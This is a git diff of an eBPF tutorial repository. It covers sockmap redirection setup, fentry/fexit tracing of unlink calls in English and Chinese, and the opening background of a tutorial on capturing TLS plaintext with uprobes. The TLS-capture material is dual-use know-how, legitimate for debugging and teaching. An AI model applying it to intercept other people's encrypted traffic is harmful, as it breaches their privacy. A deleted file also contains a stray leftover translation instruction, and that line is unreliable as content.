attach "/sys/fs/cgroup/" sock_ops pinned "/sys/fs/bpf/bpf_sockops" - -# load and attach sk_msg program -sudo bpftool prog load bpf_redirect.bpf.o "/sys/fs/bpf/bpf_redir" map name sock_ops_map pinned "/sys/fs/bpf/sock_ops_map" -sudo bpftool prog attach pinned /sys/fs/bpf/bpf_redir msg_verdict pinned /sys/fs/bpf/sock_ops_map -``` - -This is a script for loading BPF programs. Its main function is to load and attach BPF programs to the kernel system, and store the associated BPF maps in the BPF file system so that the BPF programs can access and operate on these maps. - -Let's take a detailed look at what each line of the script does. - -1. `sudo mount -t bpf bpf /sys/fs/bpf/` mounts the BPF file system, enabling access to and operation on BPF programs and related maps by the system. -2. The condition check `[ -e "/sys/fs/bpf/bpf_sockops" ]` checks whether the `/sys/fs/bpf/bpf_sockops` file already exists. If it does exist, it means that the `bpf_sockops` program has already been loaded into the system, so it will be uninstalled using the `./unload.sh` script. -3. `sudo bpftool prog load bpf_contrack.bpf.o /sys/fs/bpf/bpf_sockops type sockops pinmaps /sys/fs/bpf/` loads the BPF object file `bpf_contrack.bpf.o` compiled from the `bpf_contrack.bpf.c` into the BPF file system, storing it in `/sys/fs/bpf/bpf_sockops`, and specifying its type as `sockops`. `pinmaps /sys/fs/bpf/` specifies that the BPF maps associated with the loaded BPF program will be stored under `/sys/fs/bpf/`. -4. `sudo bpftool cgroup attach "/sys/fs/cgroup/" sock_ops pinned "/sys/fs/bpf/bpf_sockops"` attaches the `bpf_sockops` program that has been loaded into the BPF file system to the cgroup (the path is `"/sys/fs/cgroup/"`). After the attachment, all socket operations belonging to this cgroup will be affected by the `bpf_sockops` program. -5. `sudo bpftool prog load bpf_redirect.bpf.o "/sys/fs/bpf/bpf_redir" map name sock_ops_map pinned "/sys/fs/bpf/sock_ops_map"` loads the BPF object file `bpf_redirect.bpf.o` compiled from `bpf_redirect.bpf.c` into the BPF file system, storing it in `/sys/fs/bpf/bpf_redir`, and specifying the associated map as `sock_ops_map`, which is located in `/sys/fs/bpf/sock_ops_map`. -6. `sudo bpftool prog attach pinned /sys/fs/bpf/bpf_redir msg_verdict pinned /sys/fs/bpf/sock_ops_map` attaches the already loaded `bpf_redir` program to the `sock_ops_map` using the `msg_verdict` attachment type, which means that when the socket associated with this map receives a message, the `bpf_redir` program will be called to handle it. - -In summary, the main function of this script is to load the two BPF programs used to process local socket traffic into the system and attach them to the correct locations so that they can be correctly called, ensuring that they can access and manipulate the associated BPF maps. - -You can use the [bpftool utility](https://github.com/torvalds/linux/blob/master/tools/bpf/bpftool/Documentation/bpftool-prog.rst) to check if these two eBPF programs have been loaded. - -```console -$ sudo bpftool prog show -63: sock_ops name bpf_sockmap tag 275467be1d69253d gpl - loaded_at 2019-01-24T13:07:17+0200 uid 0 - xlated 1232B jited 750B memlock 4096B map_ids 58 -64: sk_msg name bpf_redir tag bc78074aa9dd96f4 gpl - loaded_at 2019-01-24T13:07:17+0200 uid 0 - xlated 304B jited 233B memlock 4096B map_ids 58 -``` - -### Test with iperf3 or curl - -See to install iperf3. - -Running the iperf3 Server: - -```shell -iperf3 -s -p 5001 -``` - -Running the iperf3 Client: - -```shell -iperf3 -c 127.0.0.1 -t 10 -l 64k -p 5001 -``` - -Or you can use curl and python: - -```sh -python3 -m http.server -curl http://0.0.0.0:8000/ -``` - -### Collecting Traces - -Check the `sock_ops` trace for local connection establishments. - -```console -$ ./trace_bpf_output.sh # which is basically sudo cat /sys/kernel/debug/tracing/trace_pipe -iperf3-9516 [001] .... 22500.634108: 0: <<< ipv4 op = 4, port 18583 --> 4135 -iperf3-9516 [001] ..s1 22500.634137: 0: <<< ipv4 op = 5, port 4135 --> 18583 -iperf3-9516 [001] .... 22500.634523: 0: <<< ipv4 op = 4, port 19095 --> 4135 -iperf3-9516 [001] ..s1 22500.634536: 0: <<< ipv4 op = 5, port 4135 --> 19095 -``` - -When the connection is established between `iperf3 -c` and the server, you should see the events above for socket establishment. If you don't see any events, then the eBPF programs may not have been attached correctly. - -Furthermore, when `sk_msg` takes effect, you should observe that when capturing local traffic on the loopback interface using tcpdump, only the three-way handshake and four-way termination traffic are captured, and the actual data flow of iperf is not captured. If the iperf data flow is captured, then the eBPF programs may not have been attached correctly. - -```console -$ ./trace_lo_traffic.sh # tcpdump -i lo port 5001 - -# Three-way handshake -13:24:07.181804 IP localhost.46506 > localhost.5001: Flags [S], seq 620239881, win 65495, options [mss 65495,sackOK,TS val 1982813394 ecr 0,nop,wscale 7], length 0 -13:24:07.181815 IP localhost.5001 > localhost.46506: Flags [S.], seq 1084484879, ack 620239882, win 65483, options [mss 65495,sackOK,TS val 1982813394 ecr 1982813394,nop,wscale 7], length 0 -13:24:07.181832 IP localhost.46506 > localhost.5001: Flags [.], ack 1, win 512, options [nop,nop,TS val 1982813394 ecr 1982813394], length 0 - -# Four-way termination -13:24:12.475649 IP localhost.46506 > localhost.5001: Flags [F.], seq 1, ack 1, win 512, options [nop,nop,TS val 1982818688 ecr 1982813394], length 0 -13:24:12.479621 IP localhost.5001 > localhost.46506: Flags [.], ack 2, win 512, options [nop,nop,TS val 1982818692 ecr 1982818688], length 0 -13:24:12.481265 IP localhost.5001 > localhost.46506: Flags [F.], seq 1, ack 2, win 512, options [nop,nop,TS val 1982818694 ecr 1982818688], length 0 -13:24:12.481270 IP localhost.46506 > localhost.5001: Flags [.], ack 2, win 512, options [nop,nop,TS val 1982818694 ecr 1982818694], length 0 -``` - -### Unloading the eBPF Program - -```shell -sudo ./unload.sh -``` - -## References - -Finally, if you are interested in eBPF technology and want to learn more and practice further, you can visit our tutorial code repository at and the tutorial website at . - -- -- - -> The original link of this article: diff --git a/src/3-fentry-unlink/.config b/src/3-fentry-unlink/.config new file mode 100644 index 00000000..2785adf1 --- /dev/null +++ b/src/3-fentry-unlink/.config @@ -0,0 +1 @@ +level=Basic diff --git a/src/3-fentry-unlink/README.md b/src/3-fentry-unlink/README.md index 3efd30af..4256185a 100644 --- a/src/3-fentry-unlink/README.md +++ b/src/3-fentry-unlink/README.md @@ -1,14 +1,22 @@ -# eBPF 入门开发实践教程三:在 eBPF 中使用 fentry 监测捕获 unlink 系统调用 +# eBPF Tutorial by Example 3: Monitoring unlink System Calls with fentry -eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 +eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool on the Linux kernel. It allows developers to dynamically load, update, and execute user-defined code at runtime in the kernel. + +This article is the third part of the eBPF Tutorial by Example, focusing on capturing unlink system calls using fentry in eBPF. + +## What is fentry and Why Use It? + +fentry (function entry) and fexit (function exit) are the modern way to trace kernel functions in eBPF. They were introduced in kernel 5.5 for x86 processors and 6.0 for ARM processors. Think of them as the faster, more efficient successors to kprobes. + +The big advantage of fentry/fexit over kprobes is performance and convenience. With fentry, you can directly access function parameters just like in regular C code - no need for special helpers like `BPF_CORE_READ`. This makes your code simpler and faster. fexit gives you an extra bonus - you can access both the input parameters and the return value at the same time, while kretprobe only gives you the return value. + +The performance difference is real. fentry/fexit programs run about 10x faster than kprobes because they use a BPF trampoline mechanism instead of the older breakpoint-based approach. If you're building production monitoring tools that run on every function call, this matters a lot. + +Note that if you're on ARM, you'll need kernel 6.0 or newer. For x86, kernel 5.5+ works fine. If you're stuck on an older kernel, you'll need to use kprobes instead. -本文是 eBPF 入门开发实践教程的第三篇,在 eBPF 中使用 fentry 捕获 unlink 系统调用。 -## Fentry -fentry(function entry)和 fexit(function exit)是 eBPF(扩展的伯克利包过滤器)中的两种探针类型,用于在 Linux 内核函数的入口和退出处进行跟踪。它们允许开发者在内核函数执行的特定阶段收集信息、修改参数或观察返回值。这种跟踪和监控功能在性能分析、故障排查和安全分析等场景中非常有用。 -与 kprobes 相比,fentry 和 fexit 程序有更高的性能和可用性。在这个例子中,我们可以直接访问函数的指针参数,就像在普通的 C 代码中一样,而不需要使用各种读取帮助程序。fexit 和 kretprobe 程序最大的区别在于,fexit 程序可以访问函数的输入参数和返回值,而 kretprobe 只能访问返回值。从 5.5 内核开始,fentry 和 fexit 对 eBPF 程序可用。 ```c #include "vmlinux.h" @@ -38,30 +46,25 @@ int BPF_PROG(do_unlinkat_exit, int dfd, struct filename *name, long ret) } ``` -这段程序是用 C 语言编写的 eBPF(扩展的伯克利包过滤器)程序,它使用 BPF 的 fentry 和 fexit 探针来跟踪 Linux 内核函数 `do_unlinkat`。在这个教程中,我们将以这段程序作为示例,让您学会如何在 eBPF 中使用 fentry 监测捕获 unlink 系统调用。 - -程序包含以下部分: +Let's break down how this program works. The fentry probe attaches to the entry of `do_unlinkat` and can access the function's parameters directly. Notice how we access `name->name` without any special helpers - this is one of the benefits of using fentry instead of kprobes. -1. 包含头文件:包括 vmlinux.h(用于访问内核数据结构)、bpf/bpf_helpers.h(包含eBPF帮助函数)、bpf/bpf_tracing.h(用于eBPF跟踪相关功能)。 -2. 定义许可证:这里定义了一个名为 `LICENSE` 的字符数组,包含许可证信息“Dual BSD/GPL”。 -3. 定义 fentry 探针:我们定义了一个名为 `BPF_PROG(do_unlinkat)` 的 fentry 探针,该探针在 `do_unlinkat` 函数的入口处被触发。这个探针获取当前进程的 PID(进程ID)并将其与文件名一起打印到内核日志。 -4. 定义 fexit 探针:我们还定义了一个名为 `BPF_PROG(do_unlinkat_exit)` 的 fexit 探针,该探针在 `do_unlinkat` 函数的退出处被触发。与 fentry 探针类似,这个探针也会获取当前进程的 PID 并将其与文件名和返回值一起打印到内核日志。 +The fexit probe is even more interesting. It gets triggered when the function returns, and it can access both the original parameters (dfd and name) and the return value (ret). This gives you complete visibility into what the function did. If ret is 0, the file was successfully deleted. If it's negative, something went wrong and you can see the error code. -通过这个示例,您可以学习如何在 eBPF 中使用 fentry 和 fexit 探针来监控和捕获内核函数调用,例如在本教程中的 unlink 系统调用。 +The `BPF_PROG` macro is similar to `BPF_KPROBE` from the previous tutorial, but it's designed for fentry/fexit. It handles the parameter unwrapping automatically so you can focus on your logic. -eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 +We use eunomia-bpf to compile and run this example. You can install it from . -编译运行上述代码: +To compile and run the above code: ```console $ ecc fentry-link.bpf.c Compiling bpf object... Packing ebpf object and config into package.json... $ sudo ecli run package.json -Runing eBPF program... +Running eBPF program... ``` -在另外一个窗口中: +In another window: ```shell touch test_file @@ -70,7 +73,7 @@ touch test_file2 rm test_file2 ``` -运行这段程序后,可以通过查看 `/sys/kernel/debug/tracing/trace_pipe` 文件来查看 eBPF 程序的输出: +After running this program, you can view the output of the eBPF program by examining the `/sys/kernel/debug/tracing/trace_pipe` file: ```console $ sudo cat /sys/kernel/debug/tracing/trace_pipe @@ -80,10 +83,10 @@ $ sudo cat /sys/kernel/debug/tracing/trace_pipe rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file2, ret = 0 ``` -## 总结 +## Summary -这段程序是一个 eBPF 程序,通过使用 fentry 和 fexit 捕获 `do_unlinkat` 和 `do_unlinkat_exit` 函数,并通过使用 `bpf_get_current_pid_tgid` 和 `bpf_printk` 函数获取调用 do_unlinkat 的进程的 ID、文件名和返回值,并在内核日志中打印出来。 +This program is an eBPF program that captures the `do_unlinkat` and `do_unlinkat_exit` functions using fentry and fexit, and uses `bpf_get_current_pid_tgid` and `bpf_printk` functions to obtain the ID, filename, and return value of the process calling do_unlinkat, and print them in the kernel log. -编译这个程序可以使用 ecc 工具,运行时可以使用 ecli 命令,并通过查看 `/sys/kernel/debug/tracing/trace_pipe` 文件查看 eBPF 程序的输出。更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档: +To compile this program, you can use the ecc tool, and to run it, you can use the ecli command, and view the output of the eBPF program by checking the `/sys/kernel/debug/tracing/trace_pipe` file. -如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 +If you'd like to learn more about eBPF knowledge and practices, you can visit our tutorial code repository at or website for more examples and complete tutorials. diff --git a/src/3-fentry-unlink/README.zh.md b/src/3-fentry-unlink/README.zh.md new file mode 100644 index 00000000..71ed823e --- /dev/null +++ b/src/3-fentry-unlink/README.zh.md @@ -0,0 +1,100 @@ +# eBPF 入门开发实践教程三:在 eBPF 中使用 fentry 监测捕获 unlink 系统调用 + +eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 + +本文是 eBPF 入门开发实践教程的第三篇,在 eBPF 中使用 fentry 捕获 unlink 系统调用。 + +## Fentry + +fentry(function entry)和 fexit(function exit)是 eBPF(扩展的伯克利包过滤器)中的两种探针类型,用于在 Linux 内核函数的入口和退出处进行跟踪。它们允许开发者在内核函数执行的特定阶段收集信息、修改参数或观察返回值。这种跟踪和监控功能在性能分析、故障排查和安全分析等场景中非常有用。 + +与 kprobes 相比,fentry 和 fexit 程序有更高的性能和可用性。它们的运行速度大约是 kprobes 的 10 倍,因为使用了 BPF trampoline 机制而不是基于断点的旧方法。在这个例子中,我们可以直接访问函数的指针参数,就像在普通的 C 代码中一样,而不需要使用 `BPF_CORE_READ` 这样的读取帮助程序。 + +fexit 和 kretprobe 程序最大的区别在于,fexit 程序可以同时访问函数的输入参数和返回值,而 kretprobe 只能访问返回值。这让你可以在一个地方看到完整的函数执行情况。从 5.5 内核开始(x86),fentry 和 fexit 对 eBPF 程序可用。 + +> arm64 内核版本需要 6.0 +> +> 参考 learning eBPF 文档: +> +> 从内核版本 5.5 开始(适用于 x86 处理器;*BPF trampoline* 支持在 Linux 6.0 之前不适用于 ARM 处理器),引入了一种更高效的机制来跟踪进入和退出内核函数的方式以及 *BPF trampoline* 的概念。如果您正在使用足够新的内核,fentry/fexit 现在是首选的跟踪进入或退出内核函数的方法。 +> +> 参考:https://kernelnewbies.org/Linux_6.0#ARM + + + + + +```c +#include "vmlinux.h" +#include +#include + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +SEC("fentry/do_unlinkat") +int BPF_PROG(do_unlinkat, int dfd, struct filename *name) +{ + pid_t pid; + + pid = bpf_get_current_pid_tgid() >> 32; + bpf_printk("fentry: pid = %d, filename = %s\n", pid, name->name); + return 0; +} + +SEC("fexit/do_unlinkat") +int BPF_PROG(do_unlinkat_exit, int dfd, struct filename *name, long ret) +{ + pid_t pid; + + pid = bpf_get_current_pid_tgid() >> 32; + bpf_printk("fexit: pid = %d, filename = %s, ret = %ld\n", pid, name->name, ret); + return 0; +} +``` + +这段程序是用 C 语言编写的 eBPF 程序,它使用 BPF 的 fentry 和 fexit 探针来跟踪 Linux 内核函数 `do_unlinkat`。 + +让我们看看代码的工作原理。首先我们包含了必要的头文件:vmlinux.h 用于访问内核数据结构,bpf_helpers.h 包含 eBPF 帮助函数,bpf_tracing.h 用于跟踪相关功能。然后定义了许可证信息 "Dual BSD/GPL",这是内核加载 eBPF 程序所必需的。 + +fentry 探针附加到 `do_unlinkat` 函数的入口点。注意我们可以直接访问 `name->name` 而不需要任何特殊的帮助函数——这是使用 fentry 而不是 kprobes 的好处之一。我们获取当前进程 PID,然后将其与文件名一起打印到内核日志。 + +fexit 探针在函数返回时触发,可以同时访问原始参数(dfd 和 name)和返回值(ret)。这让你可以完整地看到函数做了什么。如果 ret 是 0,文件删除成功;如果是负数,说明出错了,你可以看到错误代码。 + +我们使用 eunomia-bpf 来编译和运行这个示例。你可以从 安装它。 + +编译运行上述代码: + +```console +$ ecc fentry-link.bpf.c +Compiling bpf object... +Packing ebpf object and config into package.json... +$ sudo ecli run package.json +Runing eBPF program... +``` + +在另外一个窗口中: + +```shell +touch test_file +rm test_file +touch test_file2 +rm test_file2 +``` + +运行这段程序后,可以通过查看 `/sys/kernel/debug/tracing/trace_pipe` 文件来查看 eBPF 程序的输出: + +```console +$ sudo cat /sys/kernel/debug/tracing/trace_pipe + rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file + rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file, ret = 0 + rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file2 + rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file2, ret = 0 +``` + +## 总结 + +这段程序是一个 eBPF 程序,通过使用 fentry 和 fexit 捕获 `do_unlinkat` 和 `do_unlinkat_exit` 函数,并通过使用 `bpf_get_current_pid_tgid` 和 `bpf_printk` 函数获取调用 do_unlinkat 的进程的 ID、文件名和返回值,并在内核日志中打印出来。 + +编译这个程序可以使用 ecc 工具,运行时可以使用 ecli 命令,并通过查看 `/sys/kernel/debug/tracing/trace_pipe` 文件查看 eBPF 程序的输出。 + +如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 diff --git a/src/3-fentry-unlink/README_en.md b/src/3-fentry-unlink/README_en.md deleted file mode 100644 index 7b3bd100..00000000 --- a/src/3-fentry-unlink/README_en.md +++ /dev/null @@ -1,88 +0,0 @@ -# eBPF Tutorial by Example 3: Monitoring unlink System Calls with fentry - -eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool on the Linux kernel. It allows developers to dynamically load, update, and execute user-defined code at runtime in the kernel. - -This article is the third part of the eBPF Tutorial by Example, focusing on capturing unlink system calls using fentry in eBPF. - -## Fentry - -fentry (function entry) and fexit (function exit) are two types of probes in eBPF (Extended Berkeley Packet Filter) used for tracing at the entry and exit points of Linux kernel functions. They allow developers to collect information, modify parameters, or observe return values at specific stages of kernel function execution. This tracing and monitoring functionality is very useful in performance analysis, troubleshooting, and security analysis scenarios. - -Compared to kprobes, fentry and fexit programs have higher performance and availability. In this example, we can directly access the pointers to the functions' parameters, just like in regular C code, without needing various read helpers. The main difference between fexit and kretprobe programs is that fexit programs can access both the input parameters and return values of a function, while kretprobe programs can only access the return value. Starting from the 5.5 kernel, fentry and fexit are available for eBPF programs. - -```c -#include "vmlinux.h" -#include -#include - -char LICENSE[] SEC("license") = "Dual BSD/GPL"; - -SEC("fentry/do_unlinkat") -int BPF_PROG(do_unlinkat, int dfd, struct filename *name) -{ - pid_t pid; - - pid = bpf_get_current_pid_tgid() >> 32; - bpf_printk("fentry: pid = %d, filename = %s\n", pid, name->name); - return 0; -} - -SEC("fexit/do_unlinkat") -int BPF_PROG(do_unlinkat_exit, int dfd, struct filename *name, long ret) -{ - pid_t pid; - - pid = bpf_get_current_pid_tgid() >> 32; - bpf_printk("fexit: pid = %d, filename = %s, ret = %ld\n", pid, name->name, ret); - return 0; -} -``` - -This program is an eBPF (Extended Berkeley Packet Filter) program written in the C language. It uses BPF fentry and fexit probes to trace the Linux kernel function `do_unlinkat`. In this tutorial, we will use this program as an example to learn how to use fentry in eBPF to detect and capture unlink system calls. - -The program consists of the following parts: - -1. Include header files: including vmlinux.h (for accessing kernel data structures), bpf/bpf_helpers.h (which includes eBPF helper functions), bpf/bpf_tracing.h (for eBPF tracing-related functionalities). -2. Define license: Here, a character array named `LICENSE` is defined, containing the license information "Dual BSD/GPL". -3. Define fentry probe: We define an fentry probe named `BPF_PROG(do_unlinkat)` that is triggered at the entry point of the `do_unlinkat` function. This probe retrieves the PID (Process ID) of the current process and prints it along with the filename to the kernel log. -4. Define fexit probe: We also define an fexit probe named `BPF_PROG(do_unlinkat_exit)` that is triggered at the exit point of the `do_unlinkat` function. Similar to the fentry probe, this probe also retrieves the PID of the current process and prints it along with the filename and return value to the kernel log. - -Through this example, you can learn how to use fentry and fexit probes in eBPF to monitor and capture kernel function calls, such as the unlink system call in this tutorial.Instructions: Translate the following Chinese text to English -while maintaining the original formatting: "eunomia-bpf is an open source eBPF dynamic loading runtime and development toolchain combined with Wasm. Its goal is to simplify the development, building, distribution, and running of eBPF programs. You can refer to [here](https://github.com/eunomia-bpf/eunomia-bpf) to download and install the ecc compilation toolchain and ecli runtime. We use eunomia-bpf to compile and run this example. - -To compile and run the above code: - -```console -$ ecc fentry-link.bpf.c -Compiling bpf object... -Packing ebpf object and config into package.json... -$ sudo ecli run package.json -Running eBPF program... -``` - -In another window: - -```shell -touch test_file -rm test_file -touch test_file2 -rm test_file2 -``` - -After running this program, you can view the output of the eBPF program by examining the `/sys/kernel/debug/tracing/trace_pipe` file: - -```console -$ sudo cat /sys/kernel/debug/tracing/trace_pipe - rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file - rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file, ret = 0 - rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file2 - rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file2, ret = 0 -``` - -## Summary - -This program is an eBPF program that captures the `do_unlinkat` and `do_unlinkat_exit` functions using fentry and fexit, and uses `bpf_get_current_pid_tgid` and `bpf_printk` functions to obtain the ID, filename, and return value of the process calling do_unlinkat, and print them in the kernel log. - -To compile this program, you can use the ecc tool, and to run it, you can use the ecli command, and view the output of the eBPF program by checking the `/sys/kernel/debug/tracing/trace_pipe` file. - -If you'd like to learn more about eBPF knowledge and practices, you can visit our tutorial code repository at or website for more examples and complete tutorials. diff --git a/src/30-sslsniff/.config b/src/30-sslsniff/.config new file mode 100644 index 00000000..d50f199a --- /dev/null +++ b/src/30-sslsniff/.config @@ -0,0 +1,2 @@ +level=Depth +type=Tracing diff --git a/src/30-sslsniff/.gitignore b/src/30-sslsniff/.gitignore index 7afe9c3a..b43eb510 100644 --- a/src/30-sslsniff/.gitignore +++ b/src/30-sslsniff/.gitignore @@ -7,3 +7,4 @@ package.yaml ecli bootstrap openssl +sslsniff diff --git a/src/30-sslsniff/README.md b/src/30-sslsniff/README.md index aea36bb0..8b6fcaf1 100644 --- a/src/30-sslsniff/README.md +++ b/src/30-sslsniff/README.md @@ -1,115 +1,117 @@ -# eBPF 实践教程:使用 uprobe 捕获多种库的 SSL/TLS 明文数据 +# eBPF Practical Tutorial: Capturing SSL/TLS Plain Text Data Using uprobe -随着TLS在现代网络环境中的广泛应用,跟踪微服务RPC消息已经变得愈加棘手。传统的流量嗅探技术常常受限于只能获取到加密后的数据,导致无法真正观察到通信的原始内容。这种限制为系统的调试和分析带来了不小的障碍。 +With the widespread use of TLS in modern network environments, tracing microservices RPC messages has become increasingly challenging. Traditional traffic sniffing techniques often face limitations in accessing only encrypted data, preventing a genuine observation of the original communication content. This restriction poses significant obstacles to system debugging and analysis. -但现在,我们有了新的解决方案。使用 eBPF 技术,通过其能力在用户空间进行探测,提供了一种方法重新获得明文数据,使得我们可以直观地查看加密前的通信内容。然而,每个应用可能使用不同的库,每个库都有多个版本,这种多样性给跟踪带来了复杂性。 +However, a new solution is now available. Through the use of eBPF technology and its capability to perform probing in user space, a method has emerged to regain plain text data, allowing us to intuitively view the pre-encrypted communication content. Nevertheless, each application might utilize different libraries, and each library comes in multiple versions, introducing complexity to the tracking process. -在本教程中,我们将带您了解一种跨多种用户态 SSL/TLS 库的 eBPF 追踪技术,它不仅可以同时跟踪 GnuTLS 和 OpenSSL 等用户态库,而且相比以往,大大降低了对新版本库的维护工作。完整的源代码可以在这里查看:。 +In this tutorial, we will guide you through an eBPF tracing technique that spans across various user-space SSL/TLS libraries. This technique not only allows simultaneous tracing of user-space libraries like GnuTLS and OpenSSL but also significantly reduces maintenance efforts for new library versions compared to previous methods. -## 背景知识 +> The complete source code: -在深入本教程的主题之前,我们需要理解一些核心概念,这些概念将为我们后面的讨论提供基础。 +## Background Knowledge -### SSL 和 TLS +Before delving into the main topic of this tutorial, we need to grasp some core concepts that will serve as the foundation for our subsequent discussions. -SSL (Secure Sockets Layer): 由 Netscape 在 1990 年代早期开发,为网络上的两台机器之间提供数据加密传输。然而,由于某些已知的安全问题,SSL的使用已被其后继者TLS所替代。 +### SSL and TLS -TLS (Transport Layer Security): 是 SSL 的继任者,旨在提供更强大和更安全的数据加密方式。TLS 工作通过一个握手过程,在这个过程中,客户端和服务器之间会选择一个加密算法和相应的密钥。一旦握手完成,数据传输开始,所有数据都使用选择的算法和密钥加密。 +SSL (Secure Sockets Layer): Developed by Netscape in the early 1990s, SSL provides data encryption for communication between two machines on a network. However, due to known security vulnerabilities, SSL has been succeeded by its successor, TLS. -### TLS 的工作原理 +TLS (Transport Layer Security): TLS is the successor to SSL, aiming to provide stronger and more secure data encryption methods. TLS operates through a handshake process during which a client and a server select an encryption algorithm and corresponding keys. Once the handshake is complete, data transmission begins, with all data being encrypted using the chosen algorithm and keys. -Transport Layer Security (TLS) 是一个密码学协议,旨在为计算机网络上的通信提供安全性。它主要目标是通过密码学,例如证书的使用,为两个或更多通信的计算机应用程序提供安全性,包括隐私(机密性)、完整性和真实性。TLS 由两个子层组成:TLS 记录协议和TLS 握手协议。 +### Operation Principles of TLS -#### 握手过程 +Transport Layer Security (TLS) is a cryptographic protocol designed to provide security for communication over computer networks. Its primary goal is to provide security, including privacy (confidentiality), integrity, and authenticity, for two or more communicating computer applications over a network using cryptography, such as certificates. TLS consists of two sub-layers: the TLS Record Protocol and the TLS Handshake Protocol. -当客户端与启用了TLS的服务器连接并请求建立安全连接时,握手过程开始。握手允许客户端和服务器通过不对称密码来建立连接的安全性参数,完整流程如下: +#### Handshake Process -1. **初始握手**:客户端连接到启用了TLS的服务器,请求安全连接,并提供它支持的密码套件列表(加密算法和哈希函数)。 -2. **选择密码套件**:从提供的列表中,服务器选择它也支持的密码套件和哈希函数,并通知客户端已做出的决定。 -3. **提供数字证书**:通常,服务器接下来会提供形式为数字证书的身份验证。此证书包含服务器名称、信任的证书授权机构(为证书的真实性提供担保)以及服务器的公共加密密钥。 -4. **验证证书**:客户端在继续之前确认证书的有效性。 -5. **生成会话密钥**:为了生成用于安全连接的会话密钥,客户端有以下两种方法: - - 使用服务器的公钥加密一个随机数(PreMasterSecret)并将结果发送到服务器(只有服务器才能使用其私钥解密);双方然后使用该随机数生成一个独特的会话密钥,用于会话期间的数据加密和解密。 - - 使用 Diffie-Hellman 密钥交换(或其变体椭圆曲线DH)来安全地生成一个随机且独特的会话密钥,用于加密和解密,该密钥具有前向保密的额外属性:即使在未来公开了服务器的私钥,也不能用它来解密当前的会话,即使第三方拦截并记录了会话。 +When a client connects to a TLS-enabled server and requests a secure connection, the handshake process begins. The handshake allows the client and server to establish security parameters for the connection using asymmetric cryptography. The complete process is as follows: -一旦上述步骤成功完成,握手过程便结束,加密的连接开始。此连接使用会话密钥进行加密和解密,直到连接关闭。如果上述任何步骤失败,则TLS握手失败,连接将不会建立。 +1. **Initial Handshake**: The client connects to the TLS-enabled server, requests a secure connection, and provides a list of supported cipher suites (encryption algorithms and hash functions). +2. **Selecting Cipher Suite**: From the provided list, the server chooses a cipher suite and hash function it also supports and notifies the client of the decision. +3. **Providing Digital Certificate**: Usually, the server then provides identity authentication in the form of a digital certificate. This certificate includes the server's name, trusted certificate authorities (guaranteeing the certificate's authenticity), and the server's public encryption key. +4. **Certificate Verification**: The client verifies the certificate's validity before proceeding. +5. **Generating Session Key**: To create a session key for a secure connection, the client has two methods: + - Encrypt a random number (PreMasterSecret) with the server's public key and send the result to the server (only the server can decrypt it with its private key); both parties then use this random number to generate a unique session key for encrypting and decrypting data during the session. + - Use Diffie-Hellman key exchange (or its variant, Elliptic Curve DH) to securely generate a random and unique session key for encryption and decryption. This key has the additional property of forward secrecy: even if the server's private key is exposed in the future, it can't be used to decrypt the current session, even if a third party intercepts and records the session. -#### OSI模型中的TLS +Once these steps are successfully completed, the handshake process concludes, and the encrypted connection begins. This connection uses the session key for encryption and decryption until the connection is closed. If any of the above steps fail, the TLS handshake fails, and the connection won't be established. -TLS 和 SSL 不完全适合 OSI 模型或 TCP/IP 模型的任何单一层次。TLS 在“某些可靠的传输协议(例如,TCP)之上运行”,这意味着它位于传输层之上。它为更高的层提供加密,这通常是表示层的功能。但是,使用TLS 的应用程序通常视其为传输层,即使使用TLS的应用程序必须积极控制启动 TLS 握手和交换的认证证书的处理。 +#### TLS in the OSI Model -### eBPF 和 uprobe +TLS and SSL don't perfectly align with any single layer of the OSI model or the TCP/IP model. TLS "runs over some reliable transport protocol (such as TCP)," which means it sits above the transport layer. It provides encryption for higher layers, typically the presentation layer. However, applications using TLS often consider it the transport layer, even though applications using TLS must actively control the initiation of TLS handshakes and the handling of exchanged authentication certificates. -eBPF (Extended Berkeley Packet Filter): 是一种内核技术,允许用户在内核空间中运行预定义的程序,不需要修改内核源代码或重新加载模块。它创建了一个桥梁,使得用户空间和内核空间可以交互,从而为系统监控、性能分析和网络流量分析等任务提供了无前例的能力。 +### eBPF and uprobes -uprobes 是eBPF的一个重要特性,允许我们在用户空间应用程序中动态地插入探测点,特别适用于跟踪SSL/TLS库中的函数调用。Uprobe 在内核态 eBPF 运行时,也可能产生比较大的性能开销,这时候也可以考虑使用用户态 eBPF 运行时,例如 [bpftime](https://github.com/eunomia-bpf/bpftime)。bpftime 是一个基于 LLVM JIT/AOT 的用户态 eBPF 运行时,它可以在用户态运行 eBPF 程序,和内核态的 eBPF 兼容,避免了内核态和用户态之间的上下文切换,从而提高了 eBPF 程序的执行效率。对于 uprobe 而言,bpftime 的性能开销比 kernel 小一个数量级。 +eBPF (Extended Berkeley Packet Filter): It's a kernel technology that allows users to run predefined programs in the kernel space without modifying kernel source code or reloading modules. It creates a bridge that enables interaction between user space and kernel space, providing unprecedented capabilities for 